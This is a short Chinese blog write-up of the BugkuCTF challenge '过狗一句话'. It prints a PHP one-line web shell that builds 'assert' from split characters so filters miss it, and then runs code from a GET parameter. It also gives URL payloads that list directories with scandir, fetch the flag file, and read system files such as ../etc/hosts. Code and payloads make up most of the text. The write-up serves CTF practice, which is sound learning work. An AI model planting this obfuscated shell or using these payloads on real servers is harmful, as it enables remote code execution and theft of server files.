提示代码

<?php 
$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
$poc_2($_GET['s']) 
?>

用assert执行任意函数

payload:?s=print_r(scandir('./'))  扫描目录

BugkuCTF-过狗一句话

看到f14g.txt文件,访问,拿到flag

http://123.206.87.240:8010/f14g.txt

拓展

例如想要读取hosts里面的内容

扫描上级目录,payload:

?s=print_r(scandir('../'))

BugkuCTF-过狗一句话

看到这是linux操作系统的文件目录

所以hosts应该在etc里面,读一下就能看到了,果不其然。BugkuCTF-过狗一句话

2. 使用fopen() 或者 readfile() 函数读取文件

样例payload

?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r')) //这个有些不行

BugkuCTF-过狗一句话

相关文章:

  • 2022-02-02
  • 2021-11-15
  • 2021-08-21
  • 2022-01-08
  • 2021-12-29
  • 2022-02-24
  • 2021-10-11
  • 2022-02-08
猜你喜欢
  • 2021-10-21
  • 2021-04-06
  • 2021-03-25
  • 2021-12-05
  • 2022-01-25
相关资源
相似解决方案